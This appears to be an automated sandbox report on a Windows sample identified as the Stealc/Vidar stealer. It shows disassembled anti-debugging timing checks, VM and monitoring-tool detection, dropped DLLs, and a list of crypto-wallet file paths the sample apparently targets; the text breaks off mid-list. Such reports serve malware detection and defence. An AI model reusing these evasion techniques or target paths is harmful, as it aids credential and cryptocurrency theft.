Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320688 second address: 53206E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD6B8875BD7h 0x00000009 jmp 00007FD6B8875BD3h 0x0000000e popfd 0x0000000f call 00007FD6B8875BD8h 0x00000014 pop esi 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push 00000000h 0x0000001a pushad 0x0000001b push edi 0x0000001c pop ebx 0x0000001d mov si, FBE5h 0x00000021 popad 0x00000022 push dword ptr [ebp+1Ch] 0x00000025 pushad 0x00000026 mov si, C29Dh 0x0000002a push eax 0x0000002b push edx 0x0000002c mov ah, C2h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53206E9 second address: 532078E instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FD6B878EDB5h 0x00000008 add ecx, 33A93DE6h 0x0000000e jmp 00007FD6B878EDB1h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 push dword ptr [ebp+18h] 0x0000001a pushad 0x0000001b call 00007FD6B878EDACh 0x00000020 pushfd 0x00000021 jmp 00007FD6B878EDB2h 0x00000026 add ah, FFFFFFB8h 0x00000029 jmp 00007FD6B878EDABh 0x0000002e popfd 0x0000002f pop ecx 0x00000030 call 00007FD6B878EDB9h 0x00000035 mov esi, 3127BBD7h 0x0000003a pop ecx 0x0000003b popad 0x0000003c push dword ptr [ebp+14h] 0x0000003f jmp 00007FD6B878EDB3h 0x00000044 push dword ptr [ebp+10h] 0x00000047 pushad 0x00000048 push eax 0x00000049 push edx 0x0000004a movzx ecx, dx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532078E second address: 53207BC instructions: 0x00000000 rdtsc 0x00000002 mov di, 7242h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 mov ebx, 47B9ACBCh 0x0000000e call 00007FD6B8875BD5h 0x00000013 pop eax 0x00000014 popad 0x00000015 popad 0x00000016 push dword ptr [ebp+0Ch] 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53207BC second address: 53207C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53207C1 second address: 53207DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B8875BD2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53207DF second address: 53207E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dh, 5Bh 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530099A second address: 5300A14 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B8875BD8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jmp 00007FD6B8875BCBh 0x00000012 pop eax 0x00000013 jmp 00007FD6B8875BD6h 0x00000018 call 00007FD728E991DCh 0x0000001d push 759227D0h 0x00000022 push dword ptr fs:[00000000h] 0x00000029 mov eax, dword ptr [esp+10h] 0x0000002d mov dword ptr [esp+10h], ebp 0x00000031 lea ebp, dword ptr [esp+10h] 0x00000035 sub esp, eax 0x00000037 push ebx 0x00000038 push esi 0x00000039 push edi 0x0000003a mov eax, dword ptr [759B0140h] 0x0000003f xor dword ptr [ebp-04h], eax 0x00000042 xor eax, ebp 0x00000044 push eax 0x00000045 mov dword ptr [ebp-18h], esp 0x00000048 push dword ptr [ebp-08h] 0x0000004b mov eax, dword ptr [ebp-04h] 0x0000004e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000055 mov dword ptr [ebp-08h], eax 0x00000058 lea eax, dword ptr [ebp-10h] 0x0000005b mov dword ptr fs:[00000000h], eax 0x00000061 ret 0x00000062 pushad 0x00000063 mov edx, esi 0x00000065 popad 0x00000066 and dword ptr [ebp-04h], 00000000h 0x0000006a jmp 00007FD6B8875BD4h 0x0000006f mov edx, dword ptr [ebp+0Ch] 0x00000072 push eax 0x00000073 push edx 0x00000074 pushad 0x00000075 jmp 00007FD6B8875BCDh 0x0000007a mov di, si 0x0000007d popad 0x0000007e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300A14 second address: 5300A19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300AC7 second address: 5300B33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B8875BCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, dword ptr [ebp+08h] 0x0000000c pushad 0x0000000d mov cl, 21h 0x0000000f movsx edi, ax 0x00000012 popad 0x00000013 dec edi 0x00000014 pushad 0x00000015 mov esi, 69594825h 0x0000001a movzx eax, dx 0x0000001d popad 0x0000001e lea ebx, dword ptr [edi+01h] 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007FD6B8875BD6h 0x0000002a xor cx, 7868h 0x0000002f jmp 00007FD6B8875BCBh 0x00000034 popfd 0x00000035 call 00007FD6B8875BD8h 0x0000003a pop ecx 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300B33 second address: 5300B7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, bx 0x00000006 mov cx, dx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov al, byte ptr [edi+01h] 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FD6B878EDABh 0x00000016 adc esi, 716D290Eh 0x0000001c jmp 00007FD6B878EDB9h 0x00000021 popfd 0x00000022 push esi 0x00000023 mov di, AA22h 0x00000027 pop edi 0x00000028 popad 0x00000029 inc edi 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300B7D second address: 5300B81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300B81 second address: 5300B87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300B87 second address: 5300BA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD6B8875BD9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300BA4 second address: 5300BD0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test al, al 0x0000000a jmp 00007FD6B878EDADh 0x0000000f jne 00007FD728DA6C6Ah 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FD6B878EDADh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300BD0 second address: 5300C1C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B8875BD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov esi, edi 0x00000010 pushfd 0x00000011 jmp 00007FD6B8875BCFh 0x00000016 sbb cx, E73Eh 0x0000001b jmp 00007FD6B8875BD9h 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300C1C second address: 5300C5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a shr ecx, 02h 0x0000000d jmp 00007FD6B878EDAFh 0x00000012 rep movsd 0x00000014 rep movsd 0x00000016 rep movsd 0x00000018 rep movsd 0x0000001a rep movsd 0x0000001c pushad 0x0000001d movzx ecx, dx 0x00000020 mov cx, dx 0x00000023 popad 0x00000024 mov ecx, edx 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FD6B878EDB5h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300C5D second address: 5300C72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B8875BD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300C72 second address: 5300D3A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B878EDB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and ecx, 03h 0x0000000c pushad 0x0000000d movzx esi, dx 0x00000010 push edi 0x00000011 mov si, A03Bh 0x00000015 pop esi 0x00000016 popad 0x00000017 rep movsb 0x00000019 jmp 00007FD6B878EDB7h 0x0000001e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000025 pushad 0x00000026 mov dh, ah 0x00000028 mov ax, bx 0x0000002b popad 0x0000002c mov eax, ebx 0x0000002e jmp 00007FD6B878EDB3h 0x00000033 mov ecx, dword ptr [ebp-10h] 0x00000036 pushad 0x00000037 mov al, 7Fh 0x00000039 call 00007FD6B878EDB1h 0x0000003e pushfd 0x0000003f jmp 00007FD6B878EDB0h 0x00000044 and ax, 9278h 0x00000049 jmp 00007FD6B878EDABh 0x0000004e popfd 0x0000004f pop esi 0x00000050 popad 0x00000051 mov dword ptr fs:[00000000h], ecx 0x00000058 jmp 00007FD6B878EDAFh 0x0000005d pop ecx 0x0000005e push eax 0x0000005f push edx 0x00000060 jmp 00007FD6B878EDB5h 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300D3A second address: 5300D6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B8875BD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD6B8875BD8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300D6C second address: 5300D7B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B878EDABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300D7B second address: 5300D93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD6B8875BD4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300D93 second address: 5300D97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300D97 second address: 5300DC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 pushad 0x0000000a mov si, dx 0x0000000d popad 0x0000000e pop ebx 0x0000000f jmp 00007FD6B8875BCBh 0x00000014 leave 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FD6B8875BD5h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300DC9 second address: 5300DCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300DCF second address: 5300DD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53100E7 second address: 531013B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007FD6B878EDABh 0x0000000c xchg eax, ebp 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FD6B878EDB4h 0x00000014 xor eax, 025ACB78h 0x0000001a jmp 00007FD6B878EDABh 0x0000001f popfd 0x00000020 push eax 0x00000021 push edx 0x00000022 call 00007FD6B878EDB6h 0x00000027 pop esi 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 531013B second address: 5310171 instructions: 0x00000000 rdtsc 0x00000002 mov edx, 50C2CC16h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov ebp, esp 0x0000000c jmp 00007FD6B8875BCDh 0x00000011 pop ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FD6B8875BD8h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310171 second address: 5310180 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6B878EDABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310180 second address: 5310186 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 10EBB0D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1177C48 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 5856	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7084	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6516	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2928	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6540	Thread sleep time: -34017s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5BC930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C5BC930

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2514272065.00000000010C2000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Web Data.8.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: chrome.exe, 00000002.00000003.2281765463.00003BD800C18000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware Virtual USB Mouse
Source: Web Data.8.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: Web Data.8.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2514950284.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2514950284.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: msedge.exe, 00000007.00000003.2318869896.000036F402524000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware20,1(
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: Web Data.8.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Web Data.8.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: file.exe, 00000000.00000002.2514950284.0000000001593000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Web Data.8.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: Web Data.8.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: Web Data.8.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: msedge.exe, 00000007.00000002.2400933592.0000019B30644000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Web Data.8.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: Web Data.8.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: Web Data.8.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Web Data.8.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: Web Data.8.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: file.exe, 00000000.00000002.2514950284.000000000154E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwaret<
Source: Web Data.8.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2514950284.000000000154E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Web Data.8.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2514272065.00000000010C2000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.8.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: Web Data.8.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C605FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C605FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C60C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C60C410

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C5DB66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C5DB1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 1288, type: MEMORYSTR

Source: file.exe, file.exe, 00000000.00000002.2514272065.00000000010C2000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: EProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5DB341 cpuid

0_2_6C5DB341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5A35A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C5A35A0

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.c50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2513651548.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2111533445.0000000005190000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2514950284.000000000154E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1288, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 1288, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2513651548.0000000000D36000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo 